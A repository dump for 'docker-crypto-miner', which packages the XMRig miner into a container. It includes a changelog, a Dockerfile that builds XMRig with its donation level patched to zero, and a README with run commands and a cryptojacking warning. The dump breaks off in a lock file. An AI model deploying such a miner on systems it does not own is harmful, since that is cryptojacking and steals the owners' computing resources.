([a242f27](https://github.com/ci-monk/docker-crypto-miner/commit/a242f27527d0697b3c858f1f19b2342ebe17abd6)) 147 | * remove info ([6b2d578](https://github.com/ci-monk/docker-crypto-miner/commit/6b2d578002d62ec5f52c17ac914ed187016fe946)) 148 | * remove topics ([dd58254](https://github.com/ci-monk/docker-crypto-miner/commit/dd58254793b5c78471b72d471ac9e278c0b9d639)) 149 | * resize image ([f12b758](https://github.com/ci-monk/docker-crypto-miner/commit/f12b758fdde93bed4f0f67e9f1c8736de1ee0741)) 150 | 151 | 152 | ### :repeat: CI 153 | 154 | * change name ([ba83df0](https://github.com/ci-monk/docker-crypto-miner/commit/ba83df02adfb3b956d9c870334a27ba0d0a632da)) 155 | 156 | ## [1.2.0](https://github.com/ci-monk/docker-crypto-miner/compare/1.1.0...1.2.0) (2023-02-21) 157 | 158 | 159 | ### :memo: Docs 160 | 161 | * call image ([33920f3](https://github.com/ci-monk/docker-crypto-miner/commit/33920f3281e94d85eb75a0a99e2e98d06dfcb87a)) 162 | * change things ([f99a8b8](https://github.com/ci-monk/docker-crypto-miner/commit/f99a8b81dbe54805db9b553e55ea4e83aba32792)) 163 | * final changes ([eeb2e14](https://github.com/ci-monk/docker-crypto-miner/commit/eeb2e14de39c4ad46fd319bd7504429c1f404507)) 164 | * fix alt ([2e96771](https://github.com/ci-monk/docker-crypto-miner/commit/2e9677182fb750f0797b5ab618427954f308c72d)) 165 | * fix gif url ([e89687c](https://github.com/ci-monk/docker-crypto-miner/commit/e89687c40c0423ea5e9cb06590208f27b5baee4f)) 166 | * remove link ([030f425](https://github.com/ci-monk/docker-crypto-miner/commit/030f425122531061ebe7f85bc8175f00f9fa24ac)) 167 | * remove topics ([7117800](https://github.com/ci-monk/docker-crypto-miner/commit/7117800dd5f1941e6dc3b5cf56b06cc859b9b658)) 168 | 169 | 170 | ### :sparkles: News 171 | 172 | * add empty double quotes ([f9c81b9](https://github.com/ci-monk/docker-crypto-miner/commit/f9c81b98c4c56d48c9eb72a6ba2da95dccd30f17)) 173 | * add file ([9fc79fa](https://github.com/ci-monk/docker-crypto-miner/commit/9fc79faa269fd9f77c47b8f6a7c90c77a6e7413d)) 174 | 175 | 176 | ### :bug: Fixes 177 | 178 | * change gitleaks config ([94720a1](https://github.com/ci-monk/docker-crypto-miner/commit/94720a1202f334cea2f96af662e16af0cfc88564)) 179 | * change gitleaks setup ([47b7af4](https://github.com/ci-monk/docker-crypto-miner/commit/47b7af4505993ae8386fc93d3e52e59a05413416)) 180 | * dependencies package ([8ab520c](https://github.com/ci-monk/docker-crypto-miner/commit/8ab520c8b307f70a281c159aeea68bf9baa4aaff)) 181 | * docker-compose and dockerfile setup ([7518264](https://github.com/ci-monk/docker-crypto-miner/commit/751826456416375c4c05f744f9507fae8004a858)) 182 | * dockerfile and build ([693b70b](https://github.com/ci-monk/docker-crypto-miner/commit/693b70b36d038489d5c0d70d35ee46fe8b149e73)) 183 | * gitpod tag image ([10f90b7](https://github.com/ci-monk/docker-crypto-miner/commit/10f90b7d9319340e6442ff4e2e7db4274b393c59)) 184 | * kubernetes incidents in manifets snyk ([7543ca8](https://github.com/ci-monk/docker-crypto-miner/commit/7543ca8ad0f9b4c16db496567a9e388b20fefef4)) 185 | * kubernetes manifests and helm ([bb2c87b](https://github.com/ci-monk/docker-crypto-miner/commit/bb2c87bbd8dd3916b08e21e781d434ff0e29f4fd)) 186 | * package.json formatter ([eea9cb5](https://github.com/ci-monk/docker-crypto-miner/commit/eea9cb5c69d035de5a5c9947f4c5a3d93336a85b)) 187 | * package.json versions ([a4b74d3](https://github.com/ci-monk/docker-crypto-miner/commit/a4b74d338d6f2d4450adbf09d8afdc10c2149ca5)) 188 | * remove dependabot ([416b3ed](https://github.com/ci-monk/docker-crypto-miner/commit/416b3ed9bc468d589a59de6fbc1c9c6337644045)) 189 | * remove files, change readme and rename folder ([35e5b27](https://github.com/ci-monk/docker-crypto-miner/commit/35e5b271f606437c484b3c820b56423f171b0e4f)) 190 | * rename cmake flags name ([50ac914](https://github.com/ci-monk/docker-crypto-miner/commit/50ac9147369202ddcb9559cce7f892ccffc8305f)) 191 | * setups files ([c413fa9](https://github.com/ci-monk/docker-crypto-miner/commit/c413fa9de4e640f2142384358f14124d497c190d)) 192 | * var -DBUILD_STATIC=ON ([313539d](https://github.com/ci-monk/docker-crypto-miner/commit/313539d9a563c2ece3dc4a761818bdeaa022ac85)) 193 | * workflows github ([ee9fe3e](https://github.com/ci-monk/docker-crypto-miner/commit/ee9fe3e1fbd4459fb87334d9bdd2316646a32b4c)) 194 | 195 | ## [1.1.0](https://github.com/lpmatos/docker-crypto-miner/compare/1.0.0...1.1.0) (2022-01-08) 196 | 197 | 198 | ### :memo: Docs 199 | 200 | * add basic k8s, tf and helm explain ([d7cbbb0](https://github.com/lpmatos/docker-crypto-miner/commit/d7cbbb07f180fa20360e6cd910b656a9c6562923)) 201 | * add description ([704f5bb](https://github.com/lpmatos/docker-crypto-miner/commit/704f5bb673e038fc379002b8e37dcdde93eeef09)) 202 | * add helm readme ([0359909](https://github.com/lpmatos/docker-crypto-miner/commit/0359909fee5e56596e9f97f14fb1ba7d3f706e14)) 203 | * add inspirations ([852bd7e](https://github.com/lpmatos/docker-crypto-miner/commit/852bd7eeb4a8c193af7392943eb24d771eac04ac)) 204 | * add randonx in description message ([f136666](https://github.com/lpmatos/docker-crypto-miner/commit/f136666b4c94603f0fb5f1e5edfb9f2b20b9eaa1)) 205 | * add readme in infra folder ([53df8c9](https://github.com/lpmatos/docker-crypto-miner/commit/53df8c9362e9c48194b9bffdb2269e2864d80492)) 206 | * add security topic and menu options ([58decb8](https://github.com/lpmatos/docker-crypto-miner/commit/58decb8e78d8bb8fba58925e2a605e124a717a10)) 207 | * change description ([c1e1dd9](https://github.com/lpmatos/docker-crypto-miner/commit/c1e1dd99d005514ea04be41d34bdaa3f29fb24be)) 208 | * change donation message ([ee7cb2f](https://github.com/lpmatos/docker-crypto-miner/commit/ee7cb2f23a0a409d7ba7dc212018199141e111b1)) 209 | * correct if word ([3daa59e](https://github.com/lpmatos/docker-crypto-miner/commit/3daa59e6c869326f6a501021668bafc71e0fe66e)) 210 | * fix back btn ([c159caa](https://github.com/lpmatos/docker-crypto-miner/commit/c159caa6749e6bf6808e63c6c30f73d46ad99b31)) 211 | * fix location inspirations ([4a110fc](https://github.com/lpmatos/docker-crypto-miner/commit/4a110fc0e137d2ba4491d7635ebab3c4fb86e716)) 212 | * fix random-x name ([47b89f1](https://github.com/lpmatos/docker-crypto-miner/commit/47b89f1fd3bc2583ab6398ee0075ae8ee282778b)) 213 | * fix title message ([f81d616](https://github.com/lpmatos/docker-crypto-miner/commit/f81d616130018e1d9e42456485b69ebce92c4b4a)) 214 | * new command docker to show logs ([f436182](https://github.com/lpmatos/docker-crypto-miner/commit/f436182f68f85a1d7a4ee6c83ef9f709adc8f2d9)) 215 | * remove cpu reference ([d5d0761](https://github.com/lpmatos/docker-crypto-miner/commit/d5d0761b905beea12145914fbc1966e10863c7a0)) 216 | * thanks [@rundqvist](https://github.com/rundqvist) ([cf59482](https://github.com/lpmatos/docker-crypto-miner/commit/cf5948282b18a223504d3fcca8cc0d5d430e6093)) 217 | * translate everything to english ([76683d3](https://github.com/lpmatos/docker-crypto-miner/commit/76683d3ab4f9f3c651976da4af044b50022d0c60)) 218 | 219 | 220 | ### :repeat: CI 221 | 222 | * add -DWITH_HWLOC=OFF ([9c68639](https://github.com/lpmatos/docker-crypto-miner/commit/9c68639a7baa5eda2582708b1423e37432d0e077)) 223 | * add dockle step ([08dea49](https://github.com/lpmatos/docker-crypto-miner/commit/08dea49940e4a1096fa4b20c8b7ac8c0e0cf069f)) 224 | * change version step dockle ([a08ab14](https://github.com/lpmatos/docker-crypto-miner/commit/a08ab14c3ba9997fab242753638a5fd3e3f9d6f8)) 225 | * only linux/amd64,linux/arm64,linux/ppc64le build ([f47d5d6](https://github.com/lpmatos/docker-crypto-miner/commit/f47d5d6edcebbf9b9bce65543d7f0c9dfc16d69b)) 226 | * remove arm - amymy ([4ee0344](https://github.com/lpmatos/docker-crypto-miner/commit/4ee03445efeb44dba5fd2d404a226c5d0fc608ad)) 227 | * remove dockle step ([2178ab0](https://github.com/lpmatos/docker-crypto-miner/commit/2178ab0f5c48873ff8d32dbe4b8e88a6bfd14568)) 228 | * resolve build plataforms ([5133098](https://github.com/lpmatos/docker-crypto-miner/commit/5133098a9c290a0462bf091a027c97081e6a111b)) 229 | * test arch amd64 build ([1020cf0](https://github.com/lpmatos/docker-crypto-miner/commit/1020cf0027a21a69a9999ee993363c9d82285811)) 230 | * test build only in amd ([8410f68](https://github.com/lpmatos/docker-crypto-miner/commit/8410f6882c78fa701d5fc30e372abc362417bb07)) 231 | 232 | 233 | ### :sparkles: News 234 | 235 | * add build script ([6a6d43e](https://github.com/lpmatos/docker-crypto-miner/commit/6a6d43e1e696ebbe3eaa725606f6a9741eb339eb)) 236 | * add chwon xmrig copy ([7756b78](https://github.com/lpmatos/docker-crypto-miner/commit/7756b7806d01cc57f782944f22316476daaa82a1)) 237 | * add helm-docs gitpod ([660b9b8](https://github.com/lpmatos/docker-crypto-miner/commit/660b9b89023eeaa5280e6bbaeebc9046062ee0f5)) 238 | * add install terraform gitpod, setup scripts and readme ([71982e6](https://github.com/lpmatos/docker-crypto-miner/commit/71982e6f1cae6a259267616b241c30d881ebf4e4)) 239 | * add mult plataform build ([2303151](https://github.com/lpmatos/docker-crypto-miner/commit/2303151ca543aa1d7317da60d414df190305cbd8)) 240 | * add new build vars to test comp time ([41ea791](https://github.com/lpmatos/docker-crypto-miner/commit/41ea79172aa9ac380129c1a7e752fe122f387a11)) 241 | * add new params to xmrig build ([244e352](https://github.com/lpmatos/docker-crypto-miner/commit/244e352d77788ea881ed1e213f24fa33db1378c5)) 242 | * add package libuv-dev ([471681f](https://github.com/lpmatos/docker-crypto-miner/commit/471681fa27f531c969c0ed7637ed9e4331862715)) 243 | * add var XMRIG_BUILD_EXTRA_ARGS ([aeca91e](https://github.com/lpmatos/docker-crypto-miner/commit/aeca91ea6deec163739d6e6c5ab16243184848f4)) 244 | * flow conditionals arch ([a5f5af5](https://github.com/lpmatos/docker-crypto-miner/commit/a5f5af54b71dfde602002d10da1f760bcd4cb61e)) 245 | * more dependencies in dockerfile install apk build ([58bb80b](https://github.com/lpmatos/docker-crypto-miner/commit/58bb80b989c3ef7f1fe644e91950b7fd36ae82c3)) 246 | 247 | 248 | ### :bug: Fixes 249 | 250 | * alpine image and var build ([f9c5d18](https://github.com/lpmatos/docker-crypto-miner/commit/f9c5d18f61974a54dc0e16ac0a4a251b4aa04ebb)) 251 | * arm64 setup ([cf3c6b5](https://github.com/lpmatos/docker-crypto-miner/commit/cf3c6b5f1309d412e077de93dc3620da295a3915)) 252 | * call arch var ([4adba30](https://github.com/lpmatos/docker-crypto-miner/commit/4adba30e3cedde8523a31622b0f3fa25ec07dd45)) 253 | * call xmrig build extra args ([985eb70](https://github.com/lpmatos/docker-crypto-miner/commit/985eb70814ebe1a4ee4a7ddc3454664263f3b9d1)) 254 | * change bash ([93ead0c](https://github.com/lpmatos/docker-crypto-miner/commit/93ead0c26be64a8d9f572a00b8cbf4e80bd5cb88)) 255 | * change check arch in dockerfile ([8c1914f](https://github.com/lpmatos/docker-crypto-miner/commit/8c1914fe3d3e14d36bd3e99ecf5917a447ea7669)) 256 | * change plataforms ([f78a5ae](https://github.com/lpmatos/docker-crypto-miner/commit/f78a5aed58d0b164a610b01afe6b7db13ca18753)) 257 | * declaration of xmrig build extra args ([8357652](https://github.com/lpmatos/docker-crypto-miner/commit/8357652bd3e3ba4ca2ad19e216e1aa139325e547)) 258 | * dockerfile call from image ([9ecb8d3](https://github.com/lpmatos/docker-crypto-miner/commit/9ecb8d3da0e3e792c602077cc67df19b4ec5831f)) 259 | * end line command ([052d9af](https://github.com/lpmatos/docker-crypto-miner/commit/052d9af73ae5f5152f146d144dee23283cacc5b8)) 260 | * export var check arch ([175112e](https://github.com/lpmatos/docker-crypto-miner/commit/175112e6420550735bf3e1398e95f31a9a5dceaa)) 261 | * flow check arch ([0af903a](https://github.com/lpmatos/docker-crypto-miner/commit/0af903a5e94d63d80a683875616cf4d95683242a)) 262 | * plataforms and if dockerfile ([f2623bd](https://github.com/lpmatos/docker-crypto-miner/commit/f2623bdab171859ee052252d2eaddebe499d6ff4)) 263 | * remove args build xmrig and flow check arch ([455520a](https://github.com/lpmatos/docker-crypto-miner/commit/455520a22624191d9744a813c90723e5c503886a)) 264 | * remove dummy char ([b2640a0](https://github.com/lpmatos/docker-crypto-miner/commit/b2640a0eae032b2530437814e34a6d6cc90ec0b4)) 265 | * remove linux 386 ([5b1492d](https://github.com/lpmatos/docker-crypto-miner/commit/5b1492da1a397d3fb1ce3d587e10fa4ce356bae3)) 266 | * remove some build args in script ([270f466](https://github.com/lpmatos/docker-crypto-miner/commit/270f466d3902ca83410b447d1eac4d0f2ac38133)) 267 | * remove some build args xmrig ([22b285d](https://github.com/lpmatos/docker-crypto-miner/commit/22b285d13ea306ea0fb3143061ac4059706f58c3)) 268 | * remove var build ([45cdae8](https://github.com/lpmatos/docker-crypto-miner/commit/45cdae887e32735066ad58358c0a14c42b0a7b62)) 269 | * rename infra folder ([ac47179](https://github.com/lpmatos/docker-crypto-miner/commit/ac47179815c417ae4bd498db3e8aced3518434ca)) 270 | * rename script docs to gen-docs ([ce90c23](https://github.com/lpmatos/docker-crypto-miner/commit/ce90c2350e12d31a38e748501bc840abb53bda0a)) 271 | * reorganize folder and scripts ([9b55694](https://github.com/lpmatos/docker-crypto-miner/commit/9b55694c13e6c188a3fd6a6b5b1db7009ab4e5ad)) 272 | * rollback var -DWITH_HWLOC=OFF ([e4b0a3e](https://github.com/lpmatos/docker-crypto-miner/commit/e4b0a3eaedf69d6d84ed607dd9e305b13d17d67d)) 273 | * test ppc64le ([04a891d](https://github.com/lpmatos/docker-crypto-miner/commit/04a891d6b59f8e7108134d6eb0f692b7cd658a38)) 274 | * timeout build ([d1125ab](https://github.com/lpmatos/docker-crypto-miner/commit/d1125abd2f8bfd849cd5498ce551cbc4792446db)) 275 | 276 | ## 1.0.0 (2022-01-06) 277 | 278 | 279 | ### :sparkles: News 280 | 281 | * add dotenv example ([5afa298](https://github.com/lpmatos/docker-crypto-miner/commit/5afa2981c514be0b3ed6634975c2d39e0c5c49ad)) 282 | * initial project commit ([5c3ab85](https://github.com/lpmatos/docker-crypto-miner/commit/5c3ab8502d55d3fcb61c02a71b17522eb5c5a4b2)) 283 | 284 | 285 | ### :bug: Fixes 286 | 287 | * change to MIT license ([9fb9129](https://github.com/lpmatos/docker-crypto-miner/commit/9fb91292d46909b6a26a082b7e85f47a1447f675)) 288 | * example docker run command ([5420ca2](https://github.com/lpmatos/docker-crypto-miner/commit/5420ca22acf16989b226d1f9ce23ebbf658c9dbd)) 289 | 290 | 291 | ### :memo: Docs 292 | 293 | * add donations ([2b8d042](https://github.com/lpmatos/docker-crypto-miner/commit/2b8d0429cccdf0ac112f8115736be43cc33de7e5)) 294 | * add please consider donate xmrig team ([e80ae52](https://github.com/lpmatos/docker-crypto-miner/commit/e80ae527d381e218891ef106a9bc19052816989d)) 295 | * centralize wallet address ([bc44cdd](https://github.com/lpmatos/docker-crypto-miner/commit/bc44cdd9f7bc2e752457635276ebd6c9a4031200)) 296 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # Stage 1: Build the XMRig binary 2 | FROM public.ecr.aws/docker/library/alpine:3.21.3 AS builder 3 | 4 | ARG XMRIG_VERSION=v6.22.0 5 | ARG XMRIG_URL="https://github.com/xmrig/xmrig.git" 6 | ARG XMRIG_BUILD_ARGS="-DXMRIG_DEPS=scripts/deps -DBUILD_STATIC=ON -DWITH_HWLOC=OFF" 7 | 8 | RUN apk add --no-cache git make cmake libstdc++ gcc g++ automake libtool autoconf linux-headers 9 | 10 | WORKDIR /tmp/install 11 | 12 | RUN git clone --single-branch --depth 1 --branch="$XMRIG_VERSION" "$XMRIG_URL" \ 13 | && cd xmrig \ 14 | && mkdir -p build \ 15 | && sed -i 's/kDefaultDonateLevel = 1;/kDefaultDonateLevel = 0;/; s/kMinimumDonateLevel = 1;/kMinimumDonateLevel = 0;/;' src/donate.h \ 16 | && cd scripts \ 17 | && ./build_deps.sh \ 18 | && cd ../build \ 19 | && cmake .. $XMRIG_BUILD_ARGS \ 20 | && make -j$(nproc) 21 | 22 | # Stage 2: Copy XMRig binary into a smaller image 23 | FROM public.ecr.aws/docker/library/alpine:3.21.3 24 | 25 | RUN apk add --no-cache bash screen cpulimit \ 26 | && addgroup --gid 1000 xmrig \ 27 | && adduser --uid 1000 -H -D -G xmrig -h /bin/xmrig xmrig 28 | 29 | COPY --from=builder --chown=xmrig:xmrig [ "/tmp/install/xmrig/build/xmrig", "/bin" ] 30 | 31 | WORKDIR /usr/src/mining 32 | 33 | COPY [ "./src/xmrig", "." ] 34 | 35 | RUN chown -R xmrig:xmrig /usr/src/mining \ 36 | && chmod +x entrypoint.sh 37 | 38 | USER xmrig 39 | 40 | CMD [ "bash", "/usr/src/mining/entrypoint.sh" ] 41 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 2 | Version 2, December 2004 3 | 4 | Copyright (C) 2023 LPSM Dev 5 | 6 | Everyone is permitted to copy and distribute verbatim or modified 7 | copies of this license document, and changing it is allowed as long 8 | as the name is changed. 9 | 10 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 11 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 12 | 13 | 0. You just DO WHAT THE FUCK YOU WANT TO. 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
5 | 6 | gif-header 7 | 8 | Docker Crypto Miner 9 | 10 | [![Semantic Release](https://img.shields.io/badge/%20%20%F0%9F%93%A6%F0%9F%9A%80-semantic--release-e10079.svg)]() 11 | [![Commitizen friendly](https://img.shields.io/badge/commitizen-friendly-brightgreen.svg)]() 12 | [![GitHub repo size](https://img.shields.io/github/repo-size/lpsm-dev/personal-resume)]() 13 | 14 | gif-about 15 | 16 | A containerized solution for mining crypto using [XMRig](https://github.com/xmrig/xmrig) miner 17 | 18 |
19 | 20 | # Important Note 21 | 22 | **🚨 This repository is intended for educational and ethical purposes. Please note that the creators cannot be held responsible for any misuse by individuals. However, we encourage you to use this resource at your own risk.** 23 | 24 | **🚨 Before mining in the cloud or using private equipment or an on-site data center, we recommend that you carefully review your provider's terms and conditions.** 25 | 26 |

(back to top)

27 | 28 | # Description 29 | 30 | This repository contains a containerized setup of the xmrig tool, which allows you to go from zero to mining in about 5 minutes on any architecture running containers. 31 | 32 | CPU mining can be profitable using algorithms such as: `RandomX`, `Cryptonight` or `Equihash`. Learn more about profitability [here](https://www.nicehash.com/profitability-calculator). 33 | 34 |

(back to top)

35 | 36 | # Getting Started 37 | 38 | ## Setup 39 | 40 | To configure your system for the development of this project, follow the steps below: 41 | 42 | - Install [asdf](https://asdf-vm.com/) to manage runtime dependencies. 43 | - Install runtime dependencies. 44 | 45 | ```bash 46 | cut -d' ' -f1 .tool-versions | xargs -I{} sh -c 'asdf plugin add "$1"' -- {} 47 | asdf install 48 | ``` 49 | 50 | - Run task from the root of the repository to see available commands. We use task in place of make for this project. See [Taskfile.yml](Taskfile.yml) for more information. 51 | 52 | ## Variables 53 | 54 | The preferred way to configure XMRig is using a configuration file in JSON format, because it is more flexible and easier to use. The CLI doesn't cover all the features available and can be a limiting factor, depending on the scenario. 55 | 56 | | Name | Description | 57 | |------------------- |----------------------------- | 58 | | MINING_POOL | URL of mining server | 59 | | MINING_COIN | Coin to mining | 60 | | REFERRAL_CODE | Param to educe mining rater | 61 | | WALLET_ADDRESS | Wallet address | 62 | | WORKER_NAME | Worker name | 63 | | XMRIG_CONFIG_FILE | XMRig config file reference | 64 | 65 | ## Running 66 | 67 | **Docker** 68 | 69 |
70 | Container 71 |

72 | 73 | Just a simple example that you can use to run this container: 74 | 75 | ```bash 76 | docker container run \ 77 | --restart unless-stopped --name crypto-miner -d \ 78 | -e MINING_POOL="rx.unmineable.com:3333" \ 79 | -e MINING_COIN="SHIB" \ 80 | -e REFERRAL_CODE="7lkr-kmhq" \ 81 | -e WALLET_ADDRESS="" \ 82 | -e WORKER_NAME="docker-mining" \ 83 | ghcr.io/lpsm-dev/docker-crypto-miner:main 84 | ``` 85 | 86 | Click [here](https://github.com/lpsm-dev/docker-crypto-miner/pkgs/container/docker-crypto-miner/versions) to see available image tags. 87 |

88 |
89 | 90 |
91 | Logs 92 |

93 | 94 | Shows information logged of the running container: 95 | 96 | ```bash 97 | docker logs -f crypto-miner 98 | ``` 99 | 100 | or 101 | 102 | ```bash 103 | docker logs --tail 1000 crypto-miner 104 | ``` 105 |

106 |
107 | 108 | **Kubernetes** 109 | 110 |
111 | Pods 112 |

113 | 114 |

115 | 116 | gif-about 117 | 118 |
119 | 120 | For more information [here](./infra/README.md). 121 |

122 |
123 | 124 |

(back to top)

125 | 126 | # Concepts 127 | 128 | This section aims to describe at a high level which tools we use and how we use them, without reproducing documentation that is better written (and more up-to-date) in the repositories and websites of the tools themselves. It is recommended that you familiarize yourself with these tools as soon as possible. 129 | 130 | ## XMRig 131 | 132 | Basically, XMRig is a free, open-source mining program. It can be installed on Windows, Linux and macOS, and allows you to mine using the RandomX algorithm. Here's a brief example of the run command: 133 | 134 | ```bash 135 | xmrig.exe -o rx.unmineable.com:3333 -a rx -k -u COIN:YOUR_ADDRESS.WORKER_NAME#REFERRAL_CODE -p x pause 136 | ``` 137 | 138 | - **COIN**: it's the coin that you're extracting, for example: **ADA**, **TRX**, **WIN** or more. Also, keep the `:` symbol between the currency and your address. 139 | - **YOUR_ADDRESS**: must be a valid address for the currency you choose, otherwise the pool will return an error, also be sure to check the supported network for some currencies like TRC20 for USDT mining (TRON address). 140 | - **WORKER_NAME**: it's any name that you would like to define for your worker. 141 | - **REFERRAL_CODE**: it's the parameter used to reduce the mining rate. 142 | 143 | ## Unmineable 144 | 145 | Unmineable is a mining pool that allows anyone to become a miner using a personal computer. 146 | 147 | ## ASIC 148 | 149 | The acronym ASIC describes a series of computer devices designed from start to finish to provide maximum performance in cryptocurrency mining tasks. 150 | 151 | ## RandomX 152 | 153 | RandomX is a proof-of-work (PoW) algorithm that is optimized for general-purpose CPUs. RandomX uses random code execution (hence the name) along with various hard memory techniques to minimize the efficiency advantage of specialized hardware. 154 | 155 | ## Mining Rig 156 | 157 | A mining rig is a mining platform. The rig can be a dedicated miner, where it has been bought, built and operated specifically for mining, or it can be a computer that fulfills other needs, such as a gaming system, and is used to mine only part-time. 158 | 159 | ## CPU Limit 160 | 161 | Cpulimit is a tool that allows us to limit CPU usage by process. It gives us a few ways to identify the desired process, either by process name, PID or executable path. It's useful for controlling batch tasks when you don't want them to consume too many CPU cycles. The aim is to prevent a process from running for more than a certain amount of time. It is also able to adapt to the overall system load dynamically and quickly. 162 | 163 | ## Security 164 | 165 |
166 | 167 | gif-about 168 | 169 |
170 | 171 | Pay attention to the images you use for these purposes and protect yourself against cryptojacking. Containers have become frequent targets for threat actors carrying out malicious cryptocurrency mining and other attacks. Last year, Trend Micro came across activities by cryptocurrency miners that were implemented as rogue containers using a community-distributed image published on Docker Hub. In May, researchers found an open directory that contained a malicious cryptocurrency miner and a distributed denial of service (DDoS) bot that targeted open Docker daemon ports. In the attack, an Alpine Linux container was created to host the cryptocurrency miner and the DDoS bot. 172 | 173 |

(back to top)

174 | 175 | # Links 176 | 177 | - [XMRig configuration wizard](https://xmrig.com/wizard) 178 | - [Unmineable](https://unmineable.com) 179 | - [Profit Calculator](https://www.coincalculators.io) 180 | - [Optimize CPU minning performance](https://www.nicehash.com/blog/post/how-to-optimize-cpu-mining-performance-for-monero-random-x) 181 | - [Mining Reward Estimates](https://www.coinwarz.com) 182 | - [Explain RandomX algorithm](https://academy.bit2me.com/en/which-mining-algorithm-randomx-monero) 183 | - [What is ASIC?](https://academy.bit2me.com/pt/quem-s%C3%A3o-mineiros-asic) 184 | - [Cloud Vultr](https://www.vultr.com) 185 | 186 |

(back to top)

187 | 188 | # Versioning 189 | 190 | To check the change history, please access the [**CHANGELOG.md**](CHANGELOG.md) file. 191 | 192 |

(back to top)

193 | 194 | # Troubleshooting 195 | 196 | If you have any problems, [open an issue in this project](https://github.com/lpsm-dev/docker-crypto-miner/issues). 197 | 198 |

(back to top)

199 | 200 | # Show your support 201 | 202 |
203 | 204 | Give me a ⭐️ if this project helped you! 205 | 206 | gif-footer 207 | 208 | Made with 💜 by [me](https://github.com/lpsm-dev) 👋 inspired on [readme-md-generator](https://github.com/kefranabg/readme-md-generator) 209 | 210 |
211 | 212 |

(back to top)

213 | 214 | -------------------------------------------------------------------------------- /Taskfile.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | # Taskfile to be used with `task` binary. 3 | # Usage: 4 | # - Install with `asdf`: `asdf plugin add task` 5 | # - List available tasks with: `task --list` 6 | version: "3" 7 | 8 | vars: 9 | CLEAR: tput reset 10 | PATH_ERROR: is not installed or correctly configured in PATH. 11 | 12 | includes: 13 | precommit: .github/taskfiles/pre-commit.yaml 14 | 15 | tasks: 16 | default: 17 | silent: true 18 | aliases: [commands] 19 | cmds: 20 | - task --list 21 | 22 | clear: 23 | cmds: 24 | - sleep 0.1 && {{ .CLEAR }} 25 | 26 | gitleaks: 27 | desc: Detecting secrets in a git repo with the help of GitLeaks 28 | preconditions: 29 | - sh: "which gitleaks" 30 | msg: "gitleaks {{ .PATH_ERROR }}" 31 | cmds: 32 | - gitleaks detect --source={{ .TASKFILE_DIR }} --verbose 33 | 34 | yamllint: 35 | desc: Running a linter for YAML files 36 | preconditions: 37 | - sh: "which yamllint" 38 | msg: "yamllint {{.PATH_ERROR}}" 39 | cmds: 40 | - yamllint -c {{ .TASKFILE_DIR }}/.github/config/.yamllint.yaml . 41 | -------------------------------------------------------------------------------- /devbox.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://raw.githubusercontent.com/jetpack-io/devbox/0.14.2/.schema/devbox.schema.json", 3 | "packages": [ 4 | "act@0.2.77", 5 | "actionlint@1.7.7", 6 | "gitleaks@7.6.1", 7 | "go-task@latest", 8 | "pre-commit@2.20.0", 9 | "yamllint@1.37.1", 10 | "direnv@2.36.0", 11 | "gitleaks@7.6.1", 12 | "hadolint@1.23.0", 13 | "kubectl@1.33.1", 14 | "kubernetes-helm@3.17.3", 15 | "kustomize@3.10.0", 16 | "pre-commit@2.20.0", 17 | "terraform-docs@0.20.0", 18 | "tflint@0.58.0" 19 | ] 20 | } 21 | -------------------------------------------------------------------------------- /devbox.lock: -------------------------------------------------------------------------------- 1 | { 2 | "lockfile_version": "1", 3 | "packages": { 4 | "act@0.2.77": { 5 | "last_modified": "2025-05-06T08:06:31Z", 6 | "resolved": "github:NixOS/nixpkgs/1cb1c02a6b1b7cf67e3d7731cbbf327a53da9679#act", 7 | "source": "devbox-search", 8 | "version": "0.2.77", 9 | "systems": { 10 | "aarch64-darwin": { 11 | "outputs": [ 12 | { 13 | "name": "out", 14 | "path": "/nix/store/vaby3f0jn9v3hbyw7nn9r3d185wgzzdv-act-0.2.77", 15 | "default": true 16 | } 17 | ], 18 | "store_path": "/nix/store/vaby3f0jn9v3hbyw7nn9r3d185wgzzdv-act-0.2.77" 19 | }, 20 | "aarch64-linux": { 21 | "outputs": [ 22 | { 23 | "name": "out", 24 | "path": "/nix/store/z8yj15bcyc9gi8jg77s150rmhycbqspr-act-0.2.77", 25 | "default": true 26 | } 27 | ], 28 | "store_path": "/nix/store/z8yj15bcyc9gi8jg77s150rmhycbqspr-act-0.2.77" 29 | }, 30 | "x86_64-darwin": { 31 | "outputs": [ 32 | { 33 | "name": "out", 34 | "path": "/nix/store/0in0ncjwxizxyx6gaw3yp0r7h2c1rhni-act-0.2.77", 35 | "default": true 36 | } 37 | ], 38 | "store_path": "/nix/store/0in0ncjwxizxyx6gaw3yp0r7h2c1rhni-act-0.2.77" 39 | }, 40 | "x86_64-linux": { 41 | "outputs": [ 42 | { 43 | "name": "out", 44 | "path": "/nix/store/ws34vx848d1gc4bv39vggii3fgvai0bq-act-0.2.77", 45 | "default": true 46 | } 47 | ], 48 | "store_path": "/nix/store/ws34vx848d1gc4bv39vggii3fgvai0bq-act-0.2.77" 49 | } 50 | } 51 | }, 52 | "actionlint@1.7.7": { 53 | "last_modified": "2025-05-06T08:06:31Z", 54 | "resolved": "github:NixOS/nixpkgs/1cb1c02a6b1b7cf67e3d7731cbbf327a53da9679#actionlint", 55 | "source": "devbox-search", 56 | "version": "1.7.7", 57 | "systems": { 58 | "aarch64-darwin": { 59 | "outputs": [ 60 | { 61 | "name": "out", 62 | "path": "/nix/store/m3ns0ds4hsksps1mp7j7msz2zx1wb5qa-actionlint-1.7.7", 63 | "default": true 64 | } 65 | ], 66 | "store_path": "/nix/store/m3ns0ds4hsksps1mp7j7msz2zx1wb5qa-actionlint-1.7.7" 67 | }, 68 | "aarch64-linux": { 69 | "outputs": [ 70 | { 71 | "name": "out", 72 | "path": "/nix/store/kpfzxhxcy8f9fybcwqbn3a9jvngcwlsj-actionlint-1.7.7", 73 | "default": true 74 | } 75 | ], 76 | "store_path": "/nix/store/kpfzxhxcy8f9fybcwqbn3a9jvngcwlsj-actionlint-1.7.7" 77 | }, 78 | "x86_64-darwin": { 79 | "outputs": [ 80 | { 81 | "name": "out", 82 | "path": 